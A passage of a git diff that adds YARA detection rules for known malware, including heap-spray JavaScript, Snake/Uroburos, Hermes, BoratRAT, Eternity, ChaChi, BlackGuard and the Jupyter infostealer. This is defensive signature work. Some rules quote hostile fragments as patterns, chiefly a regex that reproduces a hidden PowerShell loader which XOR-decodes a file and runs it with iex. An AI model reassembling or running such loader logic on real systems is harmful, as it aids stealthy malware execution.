+		$heaplib_4 = /\.ie\.prototype\.addr\s?=\s?function\s?\(addr\)/
+		$heaplib_5 = /\.ie\.prototype\.allocOleaut32\s?=\s?function\s?\(arg,\s?tag\)/
+		$heaplib_6 = /\.ie\.prototype\.freeOleaut32/
+
+		$heaplib_7 = /\.maxAlloc\s?=\s?\(maxAlloc\s?\?\s?maxAlloc\s?:\s?65535\s?\)/
+		$heaplib_8 = "return unescape(\"%u\" + this.hex(addr & 0xFFFF, 4) + \"%u\" + this.hex((addr >> 16) & 0xFFFF, 4))"
+		$heaplib_9 = /\.(free|flush)Oleaut32\(/
+		$heaplib_10 = "return this.heapBase + 0x688 + ((size+8)/8)*48"
+		$heaplib_11 = /vtable\s?\+=\s?unescape\("%u0028%u0028"\)/
+	condition:
+		5 of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Artemonsecurity/snake.yar b/yara-mikesxrs/Artemonsecurity/snake.yar
new file mode 100644
index 0000000..a08296b
--- /dev/null
+++ b/yara-mikesxrs/Artemonsecurity/snake.yar
@@ -0,0 +1,13 @@
+rule snake
+{
+meta:
+author = "artemon security"
+md5 = "40aa66d9600d82e6c814b5307c137be5"
+reference = "http://artemonsecurity.com/uroburos.pdf"
+strings:
+$ModuleStart = { 00 4D 6F 64 75 6C 65 53 74 61 72 74 00 }
+$ModuleStop = { 00 4D 6F 64 75 6C 65 53 74 6F 70 00}
+$firefox = "firefox.exe"
+condition:
+all of them
+}
diff --git a/yara-mikesxrs/Artemonsecurity/snake_packed.yar b/yara-mikesxrs/Artemonsecurity/snake_packed.yar
new file mode 100644
index 0000000..48d7a19
--- /dev/null
+++ b/yara-mikesxrs/Artemonsecurity/snake_packed.yar
@@ -0,0 +1,16 @@
+rule snake_packed
+{
+meta:
+author = "artemon security"
+md5 = "f4f192004df1a4723cb9a8b4a9eb2fbf"
+reference = "http://artemonsecurity.com/uroburos.pdf"
+strings:
+/*
+25 FF FF FE FF and eax, 0FFFEFFFFh
+0F 22 C0 mov cr0, eax
+C0 E8 ?? ?? 00 00 call sub_????
+*/
+$cr0 = { 25 FF FF FE FF 0F 22 C0 E8 ?? ?? 00 00}
+condition:
+any of them
+}
diff --git a/yara-mikesxrs/BAESystems/Hermes.yar b/yara-mikesxrs/BAESystems/Hermes.yar
new file mode 100644
index 0000000..3257452
--- /dev/null
+++ b/yara-mikesxrs/BAESystems/Hermes.yar
@@ -0,0 +1,26 @@
+rule Hermes2_1 {
+   meta:
+      date = "2017/10/11"
+      author = "BAE"
+      hash = "b27881f59c8d8cc529fa80a58709db36"
+      reference = "https://baesystemsai.blogspot.com/2017/10/taiwan-heist-lazarus-tools.html"
+   strings:
+      $magic = { 4D 5A }
+      //in both version 2.1 and sample in Feb
+      $s1 = "SYSTEM\\CurrentControlSet\\Control\\Nls\\Language\\"
+      $s2 = "0419"
+      $s3 = "0422"
+      $s4 = "0423"
+      //in version 2.1 only
+      $S1 = "HERMES"
+      $S2 = "vssadminn"
+      $S3 = "finish work"
+      $S4 = "testlib.dll"
+      $S5 = "shadowstorageiet"
+      //maybe unique in the file
+      $u1 = "ALKnvfoi4tbmiom3t40iomfr0i3t4jmvri3tb4mvi3btv3rgt4t777"
+      $u2 = "HERMES 2.1 TEST BUILD, press ok"
+      $u3 = "hnKwtMcOadHwnXutKHqPvpgfysFXfAFTcaDHNdCnktA" //RSA Key part
+   condition:
+      $magic at 0 and all of ($s*) and 3 of ($S*) and 1 of ($u*)
+}
diff --git a/yara-mikesxrs/Blackberry/BoratRAT.yar b/yara-mikesxrs/Blackberry/BoratRAT.yar
new file mode 100644
index 0000000..b1c72fa
--- /dev/null
+++ b/yara-mikesxrs/Blackberry/BoratRAT.yar
@@ -0,0 +1,41 @@
+rule BoratRAT{
+
+      meta:
+
+            description = "Detects BoratRAT.exe"
+            
+            reference = "https://blogs.blackberry.com/en/2022/04/threat-thursday-boratrat"
+
+            author = "BlackBerry Threat Research Team" 
+
+            date = "2022-04-13"
+
+            license = "This Yara rule is provided under the Apache License 2.0 (https://www.apache.org/licenses/LICENSE-2.0) and open to any user or organization, as long as you use it under this license and ensure originator credit in any derivative to The BlackBerry Research & Intelligence Team"
+
+      strings:
+
+            $s1 = "enigma1" 
+
+            $s2 = "enigma2"
+
+            $s3 = "Server.Forms.FormFileManager.resources"
+
+            $s4 = "Server.Forms.FormFileSearcher.resources"
+
+            $s5 = "Server.Forms.FormKeylogger.resources" 
+
+            $s6 = "Server.Forms.FormNetstat.resources"
+
+            $s7 = "Server.Forms.FormFun.resources"
+
+            $s8 = "Server.Forms.FormWebcam.resources"
+
+            $s9 = "BoratRat" 
+
+            $s10 = "Keylogger.exe"
+
+      condition:
+
+            uint16(0) == 0x5a4d and all of them
+
+} 
diff --git a/yara-mikesxrs/Blackberry/BoratRATInformation.yar b/yara-mikesxrs/Blackberry/BoratRATInformation.yar
new file mode 100644
index 0000000..312e409
--- /dev/null
+++ b/yara-mikesxrs/Blackberry/BoratRATInformation.yar
@@ -0,0 +1,45 @@
+rule BoratRATInformation{ 
+
+      meta:
+
+            description = "Detects BoratRAT Information Module"
+            
+            reference = "https://blogs.blackberry.com/en/2022/04/threat-thursday-boratrat"
+
+            author = "BlackBerry Threat Research Team"
+
+            date = "2022-04-13" 
+
+            license = "This Yara rule is provided under the Apache License 2.0 (https://www.apache.org/licenses/LICENSE-2.0) and open to any user or organization, as long as you use it under this license and ensure originator credit in any derivative to The BlackBerry Research & Intelligence Team"
+
+      strings:
+
+            $s1 = "set_UseShellExecute"
+
+            $s2 = "execCMD" 
+
+            $s3 = "hostname" wide
+
+            $s4 = "ipconfig" wide
+
+            $s5 = "tasklist" wide
+
+            $s6 = "arp -a" wide 
+
+            $sp = {43 3A 5C 55 73 65 72 73 5C 41 64 6D 69 6E 69 
+
+                   73 74 72 61 74 6F 72 5C 44 6F 77 6E 6C 6F 61 
+
+                   64 73 5C 53 61 6E 74 61 52 61 74 2D 6D 61 69 
+
+                   6E 5C 42 69 6E 61 72 69 65 73 5C 52 65 6C 65  
+
+                   61 73 65 5C 50 6C 75 67 69 6E 73 5C 49 6E 66 
+
+                   6F 72 6D 61 74 69 6F 6E 2E 70 64 62}
+
+      condition:
+
+            uint16(0) == 0x5a4d and all of them 
+
+}
diff --git a/yara-mikesxrs/Blackberry/BoratRATKeylogger.yar b/yara-mikesxrs/Blackberry/BoratRATKeylogger.yar
new file mode 100644
index 0000000..a0ce2af
--- /dev/null
+++ b/yara-mikesxrs/Blackberry/BoratRATKeylogger.yar
@@ -0,0 +1,39 @@
+rule BoratRATKeylogger{
+
+      meta:
+
+            description = "Detects BoratRAT Keylogger"
+            
+            reference = "https://blogs.blackberry.com/en/2022/04/threat-thursday-boratrat"
+
+            author = "BlackBerry Threat Research Team" 
+
+            date = "2022-04-13"
+
+            license = "This Yara rule is provided under the Apache License 2.0   (https://www.apache.org/licenses/LICENSE-2.0) and open to any user or organization, as long as you use it under this license and ensure originator credit in any derivative to The BlackBerry Research & Intelligence Team"
+
+      strings:
+
+            $s1 = "Sa8XOfH1BudXLog.txt" wide 
+
+            $s2 = "[CAPSLOCK: ON]" wide
+
+            $s3 = "[CAPSLOCK: OFF]" wide
+
+            $s4 = "[SPACE]" wide
+
+            $s5 = "[ENTER]" wide 
+
+            $sp = { 43 3A 5C 55 73 65 72 73 5C 41 64 6D 69 6E 69 73 74 72 61 74 6F 72 5C
+
+                    44 6F 77 6E 6C 6F 61 64 73 5C 53 61 6E 74 61 52 61 74 2D 6D 61 69 6E 
+
+                    5C 42 69 6E 61 72 69 65 73 5C 52 65 6C 65 61 73 65 5C 50 6C 75 67 69 
+
+                    6E 73 5C 4B 65 79 6C 6F 67 67 65 72 2E 70 64 62 } 
+
+      condition:
+
+            uint16(0) == 0x5a4d and all of them
+
+}
diff --git a/yara-mikesxrs/Blackberry/EternityClipper.yar b/yara-mikesxrs/Blackberry/EternityClipper.yar
new file mode 100644
index 0000000..fb333b4
--- /dev/null
+++ b/yara-mikesxrs/Blackberry/EternityClipper.yar
@@ -0,0 +1,30 @@
+import "pe"
+
+
+rule EternityClipper {
+   meta:
+      description = "Detects Eternity Clipper"
+      reference = "https://blogs.blackberry.com/en/2022/06/threat-spotlight-eternity-project-maas-goes-on-and-on"
+      author = "BlackBerry Threat Research Team"
+      date = "2022-05-22"
+      license = "This Yara rule is provided under the Apache License 2.0 (https://www.apache.org/licenses/LICENSE-2.0) and open to any user or organization, as long as you use it under this license and ensure originator credit in any derivative to The BlackBerry Research & Intelligence Team"
+
+
+   strings:
+      $s1 = "CopyFromScreen"
+      $s2 = "CaptureDesktop"
+      $s3 = "Win32Clipboard"
+      $s4 = "Clipboard Manager"
+      $s5 = "Eternity.exe" wide
+      $s6 = "AddClipboardFormatListener"
+      $s7 = "AesCryptoServiceProvider"
+
+
+   condition:
+   (
+   //PE File
+   uint16(0) == 0x5a4d and
+
+   //All Strings
+   all of ($s*) )
+}
diff --git a/yara-mikesxrs/Blackberry/EternityRansom.yar b/yara-mikesxrs/Blackberry/EternityRansom.yar
new file mode 100644
index 0000000..4896183
--- /dev/null
+++ b/yara-mikesxrs/Blackberry/EternityRansom.yar
@@ -0,0 +1,28 @@
+import "pe"
+
+
+rule EternityRansom {
+   meta:
+      description = "Detects Eternity Ransomware"
+      reference = "https://blogs.blackberry.com/en/2022/06/threat-spotlight-eternity-project-maas-goes-on-and-on"
+      author = "BlackBerry Threat Research Team"
+      date = "2022-05-22"
+      license = "This Yara rule is provided under the Apache License 2.0 (https://www.apache.org/licenses/LICENSE-2.0) and open to any user or organization, as long as you use it under this license and ensure originator credit in any derivative to The BlackBerry Research & Intelligence Team"
+
+
+   strings:
+      $s1 = "The harddisks of your computer have been encrypted with an Military grade encryption algorithm."
+      $s2 = "by Eternity group"
+      $s3 = "Eternity"
+      $s4 = "decryption_password"
+      $s5 = "Povlsomware"
+ 
+
+   condition:
+   (
+   //PE File
+   uint16(0) == 0x5a4d and
+
+   //All Strings
+   all of ($s*) )
+}
diff --git a/yara-mikesxrs/Blackberry/EternityStealer.yar b/yara-mikesxrs/Blackberry/EternityStealer.yar
new file mode 100644
index 0000000..9c80f34
--- /dev/null
+++ b/yara-mikesxrs/Blackberry/EternityStealer.yar
@@ -0,0 +1,32 @@
+import "pe"
+ 
+
+rule EternityStealer {
+   meta:
+      description = "Detects Eternity Stealer"
+      reference = "https://blogs.blackberry.com/en/2022/06/threat-spotlight-eternity-project-maas-goes-on-and-on"
+      author = "BlackBerry Threat Research Team"
+      date = "2022-05-22"
+      license = "This Yara rule is provided under the Apache License 2.0 (https://www.apache.org/licenses/LICENSE-2.0) and open to any user or organization, as long as you use it under this license and ensure originator credit in any derivative to The BlackBerry Research & Intelligence Team"
+
+   strings:
+      $s1 = "Corrupting Growtopia.." wide
+      $s2 = "growtopia1.com" wide
+      $s3 = "Deleting previous file from startup and copying new one." wide
+      $s4 = "Debug mode, dont share this stealer anywhere." wide
+      $s5 = "Sending info to Eternity.." wide
+      $s6 = "Taking and uploading screenshot.." wide
+      $s7 = "dcd.exe" wide
+      $s8 = "https://eterprx.net" wide
+      $s9 = "https://eternitypr.net" wide
+
+   condition:
+   (
+   //PE File
+   uint16(0) == 0x5a4d and
+
+   pe.imphash() == "f34d5f2d4577ed6d9ceec516c1f5a744" and
+
+   //All Strings
+   all of ($s*) )
+}
diff --git a/yara-mikesxrs/Blackberry/EternityWorm.yar b/yara-mikesxrs/Blackberry/EternityWorm.yar
new file mode 100644
index 0000000..5c9509b
--- /dev/null
+++ b/yara-mikesxrs/Blackberry/EternityWorm.yar
@@ -0,0 +1,31 @@
+import "pe"
+
+
+rule EternityWorm {
+   meta:
+      description = "Detects Eternity Worm"
+      reference = "https://blogs.blackberry.com/en/2022/06/threat-spotlight-eternity-project-maas-goes-on-and-on"
+      author = "BlackBerry Threat Research Team"
+      date = "2022-05-22"
+      license = "This Yara rule is provided under the Apache License 2.0 (https://www.apache.org/licenses/LICENSE-2.0) and open to any user or organization, as long as you use it under this license and ensure originator credit in any derivative to The BlackBerry Research & Intelligence Team"
+
+
+   strings:
+      $s1 = "Eternity 2022" wide
+      $s2 = "Eternity" wide
+      $s3 = "Anal Worm" wide
+      $s4 = "Made in Heaven" wide
+      $s5 = "Van Darkholme" wide
+      $s6 = "EternityWorm.exe" wide
+
+
+   condition:
+   (
+   //PE File
+   uint16(0) == 0x5a4d and
+   pe.imphash() == "f34d5f2d4577ed6d9ceec516c1f5a744" and
+
+
+   //All Strings
+   all of ($s*) )
+}
diff --git a/yara-mikesxrs/Blackberry/HeaderTip.yar b/yara-mikesxrs/Blackberry/HeaderTip.yar
new file mode 100644
index 0000000..ad45708
--- /dev/null
+++ b/yara-mikesxrs/Blackberry/HeaderTip.yar
@@ -0,0 +1,18 @@
+rule HeaderTip{
+
+      meta:
+            description = "Detects HeaderTip"
+            reference = "https://blogs.blackberry.com/en/2022/04/threat-thursday-headertip-backdoor-shows-attackers-from-china-preying-on-ukraine"
+            author = "BlackBerry Threat Research Team"
+            date = "2022-04-06-"
+
+  license = "This Yara rule is provided under the Apache License 2.0 (https://www.apache.org/licenses/LICENSE-2.0) and open to any user or organization, as long as you use it under this license and ensure originator credit in any derivative to The BlackBerry Research & Intelligence Team"
+
+      strings:
+            $s1 = "type %temp%\\officecleaner.dat >> %objfile%"
+            $s2 = "product2020.mrbasic.com" wide
+
+      condition:
+            filesize < 750KB and all of them
+
+}
diff --git a/yara-mikesxrs/Blackberry/Mal_Backdoor_ChaChi_RAT.yar b/yara-mikesxrs/Blackberry/Mal_Backdoor_ChaChi_RAT.yar
new file mode 100644
index 0000000..42bf5e8
--- /dev/null
+++ b/yara-mikesxrs/Blackberry/Mal_Backdoor_ChaChi_RAT.yar
@@ -0,0 +1,25 @@
+rule Mal_Backdoor_ChaChi_RAT
+{
+            meta:
+                        description = "ChaChi RAT used in PYSA Ransomware Campaigns"
+                        reference = "https://blogs.blackberry.com/en/2021/06/pysa-loves-chachi-a-new-golang-rat"
+                        author = "BlackBerry Threat Research & Intelligence"            
+
+            strings:
+                        // "Go build ID:"
+                        $go = { 47 6F 20 62 75 69 6C 64 20 49 44 3A }
+                        // dnsStream
+                        $dnsStream = { 64 6E 73 53 74 72 65 61 6D }
+                        // SOCKS5
+                        $socks5 = { 53 4F 43 4B 53 35 }
+                        // chisel
+                        $chisel = { 63 68 69 73 65 6C }                                   
+
+            condition:
+                        // MZ signature at offset 0
+                        uint16(0) == 0x5A4D and
+                        // PE signature at offset stored in MZ header at 0x3C
+                        uint32(uint32(0x3C)) == 0x00004550 and
+                        // ChaChi Strings
+                        all of them
+}
diff --git a/yara-mikesxrs/Blackberry/Mal_Infostealer_EXE_Jupyter_Cert_36ff.yar b/yara-mikesxrs/Blackberry/Mal_Infostealer_EXE_Jupyter_Cert_36ff.yar
new file mode 100644
index 0000000..2fbf27c
--- /dev/null
+++ b/yara-mikesxrs/Blackberry/Mal_Infostealer_EXE_Jupyter_Cert_36ff.yar
@@ -0,0 +1,18 @@
+import "pe"
+
+rule Mal_Infostealer_EXE_Jupyter_Cert_36ff
+{
+    meta:
+        description = "Detects Jupter executables by certificate OOO Sistema (36ff)"
+        reference = "https://blogs.blackberry.com/en/2022/01/threat-thursday-jupyter-infostealer-is-a-master-of-disguise"
+        author = "BlackBerry Research & Intelligence Team"
+        date = "2021-10-14"
+        license = "This Yara rule is provided under the Apache License 2.0 (https://www.apache.org/licenses/LICENSE-2.0) and open to any user or organization, as long as you use it under this license and ensure originator credit in any derivative to The BlackBerry Research & Intelligence Team"       
+
+    condition:
+        uint16(0) == 0x5a4d and
+        for any i in (0 .. pe.number_of_signatures) : (
+            pe.signatures[i].issuer contains "Certum Extended Validation Code Signing CA SHA2" and
+            pe.signatures[i].serial == "36:ff:67:4e:b3:05:e9:9c:35:56:5f:a3:01:d5:c4:b0" // Serial variable must be lowercase
+            )
+}
diff --git a/yara-mikesxrs/Blackberry/Mal_Infostealer_MSI_EXE_Jupyter_Certificate.yar b/yara-mikesxrs/Blackberry/Mal_Infostealer_MSI_EXE_Jupyter_Certificate.yar
new file mode 100644
index 0000000..777aacd
--- /dev/null
+++ b/yara-mikesxrs/Blackberry/Mal_Infostealer_MSI_EXE_Jupyter_Certificate.yar
@@ -0,0 +1,43 @@
+rule Mal_Infostealer_MSI_EXE_Jupyter_Certificate
+{
+    meta:
+        description = "Detects Jupter by certificate"
+        reference = "https://blogs.blackberry.com/en/2022/01/threat-thursday-jupyter-infostealer-is-a-master-of-disguise"
+        author = "BlackBerry Threat Research Team"
+        date = "2021-11-04"
+        license = "This Yara rule is provided under the Apache License 2.0 (https://www.apache.org/licenses/LICENSE-2.0) and open to any user or organization, as long as you use it under this license and ensure originator credit in any derivative to The BlackBerry Research & Intelligence Team"
+
+    strings:
+        // MSI Installer
+        $msi = { D0 CF 11 E0 A1 B1 1A E1 }
+
+        // MSI Strings
+        $a1 = "EMCO MSI Package Builder"
+
+        // PowerShell execution strings
+        $b1 = "powershell-ExecutionPolicy bypass -command \"iex([\\[]IO.File[\\]]::ReadAllText('[CurrentUserProfileFolder]" nocase
+        $b2 = "powershell-ep bypass -file \"[AppDataFolder]" nocase
+        $b3 = /powershell-ep bypass -windowstyle hidden -command \"\$xp=\'\[AppDataFolder\].{0,256}\.{0,256}\'/ nocase
+        $b4 = /powershell-ep bypass -windowstyle hidden -command \"\$p=\'\[AppDataFolder\].{0,256}\.{0,256}\'/ nocase
+        $b5 = /powershell-ExecutionPolicy bypass -command \"iex\(\[\\\[\]IO.File\[\\\]\]::ReadAllText\(\'\[CurrentUserProfileFolder\].{1,256}\..{1,256}\'\)\)/ nocase
+
+        // Certificate Name
+        $c1 = "OOO ENDI"
+        $c2 = "OOO MVS"
+        $c3 = "OOO LEVELAP"
+        $c4 = "Soto Manufacturing SRL"
+        $c5 = "Decapolis Consulting Inc."
+
+        // Co-signers
+        $f1 = "SSL.com EV Root Certification Authority RSA R2"
+        $f2 = "SSL.com EV Code Signing Intermediate CA RSA R3"
+        $f3 = "DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1"
+        $f4 = "DigiCert Trusted Root G40"
+
+    condition:
+        ($msi at 0 or uint16(0) == 0x5a4d) and
+        all of ($a*) and
+        1 of ($b*) and
+        1 of ($c*) and
+        2 of ($f*)
+}
diff --git a/yara-mikesxrs/Blackberry/Mal_Infostealer_MSI_Jupyter_Embedded_PowerShell.yar b/yara-mikesxrs/Blackberry/Mal_Infostealer_MSI_Jupyter_Embedded_PowerShell.yar
new file mode 100644
index 0000000..92bb149
--- /dev/null
+++ b/yara-mikesxrs/Blackberry/Mal_Infostealer_MSI_Jupyter_Embedded_PowerShell.yar
@@ -0,0 +1,20 @@
+rule Mal_Infostealer_MSI_Jupyter_Embedded_PowerShell
+{
+    meta:
+        description = "Detects Jupter by a specific PowerShell command present in the MSI Installer"
+        reference = "https://blogs.blackberry.com/en/2022/01/threat-thursday-jupyter-infostealer-is-a-master-of-disguise"
+        author = "BlackBerry Threat Research Team"
+        date = "2021-10-14"
+        license = "This Yara rule is provided under the Apache License 2.0 (https://www.apache.org/licenses/LICENSE-2.0) and open to any user or organization, as long as you use it under this license and ensure originator credit in any derivative to The BlackBerry Research & Intelligence Team"
+
+    strings:
+        // MSI Installer
+        $msi = { D0 CF 11 E0 A1 B1 1A E1 }
+
+        // Embedded PowerShell Command
+        $x1 = /powershell-ep bypass -windowstyle hidden -command \"\$xp=\'\[AppDataFolder\]pd\w*\.(log|txt)\';\$xk=\'[a-zA-Z]{52}\';\$xb=\[\\\[\]System\.Convert\[\\\]\]::FromBase64String\(\[\\\[\]System\.IO\.File\[\\\]\]::ReadAllText\(\$xp\)\);remove-item \$xp;for\(\$i=0;\$i -lt \$xb.count;\)\[\\\{\]for\(\$j=0;\$j -lt \$xk\.length;\$j\+\+\)\[\\\{\]\$xb\[\\\[\]\$i\[\\\]\]=\$xb\[\\\[\]\$i\[\\\]\] -bxor \$xk\[\\\[\]\$j\[\\\]\];\$i\+\+;if\(\$i -ge \$xb.count\)\[\\\{\]\$j=\$xk\.length;\[\\\}\]\[\\\}\]\[\\\}\];\$xb=\[\\\[\]System.Text.Encoding\[\\\]\]::UTF8\.GetString\(\$xb\);iex \$xb;/ nocase
+
+    condition:
+        $msi at 0 and
+        all of ($x*)
+}
diff --git a/yara-mikesxrs/Blackberry/Mal_Infostealer_PowerShell_Jupyter_Updated_Samples.yar b/yara-mikesxrs/Blackberry/Mal_Infostealer_PowerShell_Jupyter_Updated_Samples.yar
new file mode 100644
index 0000000..4624ff0
--- /dev/null
+++ b/yara-mikesxrs/Blackberry/Mal_Infostealer_PowerShell_Jupyter_Updated_Samples.yar
@@ -0,0 +1,18 @@
+rule Mal_Infostealer_PowerShell_Jupyter_Updated_Samples
+{
+    meta:
+        description = "Detects Jupter powershell via common strings"
+        reference = "https://blogs.blackberry.com/en/2022/01/threat-thursday-jupyter-infostealer-is-a-master-of-disguise"
+        author = "BlackBerry Threat Research Team"
+        date = "2021-11-04"
+        license = "This Yara rule is provided under the Apache License 2.0 (https://www.apache.org/licenses/LICENSE-2.0) and open to any user or organization, as long as you use it under this license and ensure originator credit in any derivative to The BlackBerry Research & Intelligence Team"
+
+    strings:
+        $c1 = /\.[T|t][O|o][L|l][O|o][W|w][E|e][R|r]\(\)\)?;[I|i][E|e][X|x]/
+        $c2 = "get-random -minimum 50000 -maximum 200000" nocase
+        $c3 = "ReaDALlBYTES" nocase
+        $c4 = /createshortcut\(\$env\:appdata\+'\\m\'\+\'icr\'\+\'oso\'\+\'ft\'\+\'\\w\'\+\'ind\'\+\'ow\'\+\'s\\\'\+\'st\'\+\'art\'\+\' me\'\+\'nu\'\+\'\\pr\'\+\'ogr\'\+\'ams\\\'\+\'st\'\+\'art\'\+\'up\'\+\'\\.{29}\.lnk\'\)/ nocase
+
+    condition:
+        all of ($c*)
+}
diff --git a/yara-mikesxrs/Blackberry/Mal_Infostealer_Win32_BlackGuard.yar b/yara-mikesxrs/Blackberry/Mal_Infostealer_Win32_BlackGuard.yar
new file mode 100644
index 0000000..4ccb74a
--- /dev/null
+++ b/yara-mikesxrs/Blackberry/Mal_Infostealer_Win32_BlackGuard.yar
@@ -0,0 +1,39 @@
+import "pe"
+
+rule Mal_Infostealer_Win32_BlackGuard
+{
+    meta:
+        description = "Detects W32 BlackGuard Infostealer"
+        author = "BlackBerry Threat Research team "
+        reference = "https://blogs.blackberry.com/en/2022/04/threat-thursday-blackguard-infostealer"
+        date = "2022-14-04"
+        sha256 = "6AB3B21FA7CB638ED68509BE1ED6302284E8A9CD1A10F9B6837C057154AA6162"
+        license = "This Yara rule is provided under the Apache License 2.0 (https://www.apache.org/licenses/LICENSE-2.0) and open to any user or organization, as long as you use it under this license and ensure originator credit in any derivative to The BlackBerry Research & Intelligence Team"
+
+    strings:
+        $a1 = { 06 91 06 61 20 AA 00 00 00 61 D2 9C 06 17 58 0A }
+        $a2 = "System.Data.SQLite"
+        $a3 = "FromBase64String"
+        $a4 = "BlockInput"
+        $a5 = "UploadFile"
+        $a6 = "Passwords"
+        $a7 = "Discord"
+        $a8 = "GetVolumeInformationA"
+        $a9 = "NordVPN"
+        $a10 = "OpenVPN"
+        $a11 = "ProtonVPN"
+        $a12 = "OperaCookies"
+        $a13 = "EdgeCookies"
+        $a14 = "ChromeCookies"
+
+        $b1 = "upche" wide
+
+    condition:
+        uint16(0) == 0x5a4d and
+        pe.imphash() == "f34d5f2d4577ed6d9ceec516c1f5a744" and
+        pe.number_of_sections == 3 and
+        pe.section_index(".text") == 0 and
+        pe.section_index(".rsrc") == 1 and
+        pe.section_index(".reloc") == 2 and
+        ((all of ($a*)) or ((12 of ($a*) and all of ($b*))))
+}
diff --git a/yara-mikesxrs/Blackberry/Mal_Infostealer_Win32_Jupyter_Download_and_Execute_Module.yar b/yara-mikesxrs/Blackberry/Mal_Infostealer_Win32_Jupyter_Download_and_Execute_Module.yar
new file mode 100644
index 0000000..91ebb6e
--- /dev/null
+++ b/yara-mikesxrs/Blackberry/Mal_Infostealer_Win32_Jupyter_Download_and_Execute_Module.yar
@@ -0,0 +1,30 @@
+import "pe"
+import "dotnet"
+
+rule Mal_Infostealer_Win32_Jupyter_Download_and_Execute_Module
+{
+    meta:
+        description = "Detects Jupter download and execute module. Research has shown it downloading SolarDelphi / JupyterStealer."
+        reference = "https://blogs.blackberry.com/en/2022/01/threat-thursday-jupyter-infostealer-is-a-master-of-disguise"
+        author = "BlackBerry Threat Research Team"
+        date = "2021-11-09"
+        license = "This Yara rule is provided under the Apache License 2.0 (https://www.apache.org/licenses/LICENSE-2.0) and open to any user or organization, as long as you use it under this license and ensure originator credit in any derivative to The BlackBerry Research & Intelligence Team"
+
+    strings:
+        $e1 = { 68 00 74 00 74 00 70 00 3A 00 2F 00 2F 00 }
+        $e2 = { 47 00 45 00 54 00 00 3D 63 00 3A 00 5C 00 77 00 69 00 6E 00 64 00 6F 00 77 00 73 00 5C 00 73 00 79 00 73 00 74 00 65 00 6D 00 33 00 32 00 5C 00 77 00 69 00 6E 00 76 00 65 00 72 00 2E 00 65 00 78 00 65 }
+        $e3 = { 00 2F 00 67 00 65 00 74 00 2F 00 }
+        $e4 = "FromBase64String"
+        $e5 = "get_UTF8"
+        $e6 = "WebResponse"
+        $e7 = "GetResponse"
+        $e8 = "Invoke"
+
+    condition:
+        // DotNet
+        pe.imports("mscoree.dll", "_CorDllMain") and
+        dotnet.version == "v4.0.30319" and
+        dotnet.assembly.version.major == 0 and
+        dotnet.assembly.version.minor == 0 and
+        all of ($e*)
+}
diff --git a/yara-mikesxrs/Blackberry/Mal_Infostealer_Win32_Jupyter_InfoStealer_Module.yar b/yara-mikesxrs/Blackberry/Mal_Infostealer_Win32_Jupyter_InfoStealer_Module.yar
new file mode 100644
index 0000000..11ab54f
--- /dev/null
+++ b/yara-mikesxrs/Blackberry/Mal_Infostealer_Win32_Jupyter_InfoStealer_Module.yar
@@ -0,0 +1,37 @@
+import "pe"
+
+rule Mal_Infostealer_Win32_Jupyter_InfoStealer_Module
+{
+    meta:
+        description = "Detects Jupter infostealer module"
+        reference = "https://blogs.blackberry.com/en/2022/01/threat-thursday-jupyter-infostealer-is-a-master-of-disguise"
+        author = "BlackBerry Threat Research Team"
+        date = "2021-11-08"
+        license = "This Yara rule is provided under the Apache License 2.0 (https://www.apache.org/licenses/LICENSE-2.0) and open to any user or organization, as long as you use it under this license and ensure originator credit in any derivative to The BlackBerry Research & Intelligence Team"
+
+    strings:
+        $d1 = "WebRequest" nocase
+        $d2 = "HttpWebRequest" nocase
+        $d3 = "WebResponse" nocase
+        $d4 = "GetResponseStream" nocase
+        $d5 = "GetResponse" nocase
+        $d6 = "IsInRole" nocase
+        $d7 = "get_UTF8" nocase
+        $d8 = "FromBase64String" nocase
+        $d9 = "get_OSVersion" nocase
+        $d10 = "GetFiles" nocase
+        $d11 = "GetExtension" nocase
+        $d12 = "get_Current" nocase
+        $d13 = "GetEnumerator" nocase
+
+        $j1 = { 6C 6F 67 69 6E 73 } // logins
+        $j2 = { 43 00 6F 00 6F 00 6B 00 69 00 65 00 73 } // C.o.o.k.i.e.s
+        $j3 = { 00 6C 00 6F 00 67 00 69 00 6E 00 73 00 2E 00 6A 00 73 00 6F 00 6E 00 } // .l.o.g.i.n.s...j.s.o.n.
+        $j4 = { 00 63 00 6F 00 6F 00 6B 00 69 00 65 00 73 00 2E 00 73 00 71 00 6C 00 69 00 74 00 65 00 } // .c.o.o.k.i.e.s...s.q.l.i.t.e.
+
+    condition:
+        // DotNet
+        pe.imports("mscoree.dll", "_CorDllMain") and
+        12 of ($d*) and
+        2 of ($j*)
+}
diff --git a/yara-mikesxrs/Blackberry/Mal_Infostealer_Win32_Jupyter_Main_Module.yar b/yara-mikesxrs/Blackberry/Mal_Infostealer_Win32_Jupyter_Main_Module.yar
new file mode 100644
index 0000000..094dfcd
--- /dev/null
+++ b/yara-mikesxrs/Blackberry/Mal_Infostealer_Win32_Jupyter_Main_Module.yar
@@ -0,0 +1,42 @@
+import "pe"
+
+rule Mal_Infostealer_Win32_Jupyter_Main_Module
+{
+    meta:
+        description = "Detects Jupter main module"
+        reference = "https://blogs.blackberry.com/en/2022/01/threat-thursday-jupyter-infostealer-is-a-master-of-disguise"
+        author = "BlackBerry Threat Research Team"
+        date = "2021-11-23"
+        license = "This Yara rule is provided under the Apache License 2.0 (https://www.apache.org/licenses/LICENSE-2.0) and open to any user or organization, as long as you use it under this license and ensure originator credit in any derivative to The BlackBerry Research & Intelligence Team"
+
+    strings:
+        $g1 = { 68 00 74 00 74 00 70 00 3A 00 2F 00 2F 00 } // h.t.t.p.:././.
+        $g2 = { 5C 00 41 00 50 00 50 00 44 00 41 00 54 00 41 00 5C 00 52 00 4F 00 41 00 4D 00 49 00 4E 00 47 } // \.A.P.P.D.A.T.A.\.R.O.A.M.I.N.G
+        $g3 = { 63 00 68 00 61 00 6E 00 67 00 65 00 5F 00 73 00 74 00 61 00 74 00 75 00 73 } // c.h.a.n.g.e._.s.t.a.t.u.s
+        $g4 = { 50 00 4F 00 53 00 54 } // P.O.S.T
+        $g5 = { 69 00 73 00 5F 00 73 00 75 00 63 00 63 00 65 00 73 00 73 } // i.s._.s.u.c.c.e.s.s
+        $g6 = { 75 00 73 00 65 00 72 00 70 00 72 00 6F 00 66 00 69 00 6C 00 65 } // u.s.e.r.p.r.o.f.i.l.e
+        $g7 = { 44 00 45 00 53 00 4B 00 54 00 4F 00 50 00 2D } // D.E.S.K.T.O.P.-
+        $g8 = { 4C 00 41 00 50 00 54 00 4F 00 50 00 2D } // L.A.P.T.O.P.-
+        $g9 = { 78 00 38 00 36} // x.8.6
